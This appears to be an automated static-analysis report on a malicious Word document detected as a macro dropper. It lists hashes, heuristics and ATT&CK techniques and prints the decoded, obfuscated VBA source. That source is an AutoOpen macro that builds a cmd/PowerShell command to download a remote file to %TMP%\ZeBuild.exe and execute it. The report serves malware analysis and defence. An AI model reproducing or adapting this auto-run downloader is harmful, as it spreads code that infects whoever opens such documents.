Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 be978e1f60b023dc…

MALICIOUS

Office (OLE)

78.0 KB Created: 2017-12-01 19:05:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: 7d13b6c0d2d8195dcb9316ed86536041 SHA-1: 40b3ec3c5b0572745c1a3815a495dc9c4bf5af47 SHA-256: be978e1f60b023dc372203933756b5713fe37c5487a61361b5f8af0138e3199a
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen function that is triggered when the document is opened. This macro uses CreateObject to execute a payload, likely a second-stage executable named 'ZeBuild.exe' in the temporary directory. The script also constructs a command that appears to involve PowerShell, indicating a multi-stage infection process.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6871875-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6871875-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3947 bytes
SHA-256: ba5e441aa6c2337e9f8f0d8b660a6ea95e5d69c3d5e88a612ece69e6534b9db8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "iJHuhuuEE"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function zYIZElUsXm()
Dim RzWraHPRBI17 As String
RzWraHPRBI17 = "cEPwTClyxW56"
Dim UpaRkDOJfu88 As Integer
UpaRkDOJfu88 = 6
Do While UpaRkDOJfu88 < 13
DoEvents: UpaRkDOJfu88 = UpaRkDOJfu88 + 1
Loop
Dim ywbPwgGdIt68 As Currency
ywbPwgGdIt68 = "82"
End Function

Sub GxYdZVXJcc()
Dim OVmRutTlWP18 As String
OVmRutTlWP18 = "LRSDLWMtDX64"
Dim lhTDDmGBNi27 As Integer
lhTDDmGBNi27 = 4
Do While lhTDDmGBNi27 < 54
DoEvents: lhTDDmGBNi27 = lhTDDmGBNi27 + 1
Loop
Dim EyWEdqvIHo17 As Currency
EyWEdqvIHo17 = "61"
End Sub
Function JHghuhuGGU()
OEJfiEhuuEHUteg = "'%TMP%\ZeBuild.exe')"
OfkOjIejiHE = uhgUEGyf.jixjiihd + "Rt-" + iosdjie.kfJIEjfHeUHfet + "e`sS '%TMP%\ZeBuild.exe';"
JHghuhuGGU = iosdjie.QodiWhf + isidhue.PWdIWUhfe + OEJfiEhuuEHUteg + OfkOjIejiHE
End Function
Sub AutoOpen()
ghUEuGUufGUe = OEjfIEhuet + VJIEfuEHt
kiiiHEHu = uhgUEGyf.viishdh
OEjjiEIiieI = pEofOEjfiEOO + IEhufUEh + eoJFieue
KfjjIIhei = "ell"
EIjfiHEUUU = OIEJiEIHFUOO
Set pOIJiJIHuuEUUf = CreateObject( _
"" + kiiiHEHu + "p" + uhgUEGyf.ibhuhug + "h" + KfjjIIhei + "")
pOIJiJIHuuEUUf.Run ovsJIjgijIR(pjdsjfoghudr), 0
End Sub
Function ovsJIjgijIR(pjdsjfoghudr)
aisUWHiufWr = hdfudru.idsfuduf + hdfudru.obsjie + "ECT ('" + hdfudru.isjgkr + "'+'N'+'et.WebCli'+'en'+'t'))"

IEfuheufhu = ""

oJofjiJE = hdfudru.isdihs + "S" + hdfudru.Caption + ""
JIhHUUfggF = oJofjiJE & aisUWHiufWr

uhuGEyfgyGE = JIhHUUfggF + iJHuhuuEE.JHghuhuGGU
udgge = "c"
jgiEhghuue = uhgUEGyf.ibhdur
jIheuGtyye = udgge + jgiEhghuue
IEfhuEUghfy = jIheuGtyye + " /c " + uhuGEyfgyGE + " "
ovsJIjgijIR = IEfhuEUghfy
IFHEUHfuh = iJHuhuuEE.TePhZbFebw79 + iJHuhuuEE.zYIZElUsXm
End Function
Function TePhZbFebw79()
Dim vEvUiYcRXI95 As String
vEvUiYcRXI95 = "IpHHLxDhFM41"
Dim oWOHDXIpay13 As Integer
oWOHDXIpay13 = 2
Do While oWOHDXIpay13 < 31
DoEvents: oWOHDXIpay13 = oWOHDXIpay13 + 1
Loop
Dim lSBTdQkLJu83 As Currency
lSBTdQkLJu83 = "46"
End Function
Sub nLMrcwxaNK()
Dim rguRMKnley51 As String
rguRMKnley51 = "CGXXbBpWbl19"
Dim uwdtqGvYkT31 As Integer
uwdtqGvYkT31 = 2
Do While uwdtqGvYkT31 < 65
DoEvents: uwdtqGvYkT31 = uwdtqGvYkT31 + 1
Loop
Dim RUQqgkTaSE11 As Currency
RUQqgkTaSE11 = "35"
End Sub


Attribute VB_Name = "uhgUEGyf"
Attribute VB_Base = "0{289892BA-4501-4D88-9D32-5BF51D888AFA}{44D3B4E0-D87E-498C-BF67-026DC94DD2CA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "hdfudru"
Attribute VB_Base = "0{FDE45F1C-F905-491D-9A7B-86B4DCD39382}{7AFB60F2-1420-4E9B-B844-51ED07E5E8AB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "ishduse"
Attribute VB_Base = "0{4384DE1E-1841-4650-A8E5-7F0ACCAE6A5C}{721D13FB-35D7-4948-804F-C36C13C6319E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "iosdjie"
Function kfJIEjfHeUHfet()
OfjEIfhuE = "P"
kEOjfiiejE = "R"
JfhUEHfUWgr = "oC"
kfJIEjfHeUHfet = OfjEIfhuE + kEOjfiiejE + JfhUEHfUWgr
End Function
Function QodiWhf()
IefhuEYgfg = uhgUEGyf.Caption
QodiWhf = ".('Do" + "wn'+'lo" + "ad'+'" + IefhuEYgfg + "'"
End Function

Attribute VB_Name = "isidhue"
Function PWdIWUhfe()
PWdIWUhfe = ").Invoke('h" + ishduse.osjehurt + "xe',"
End Function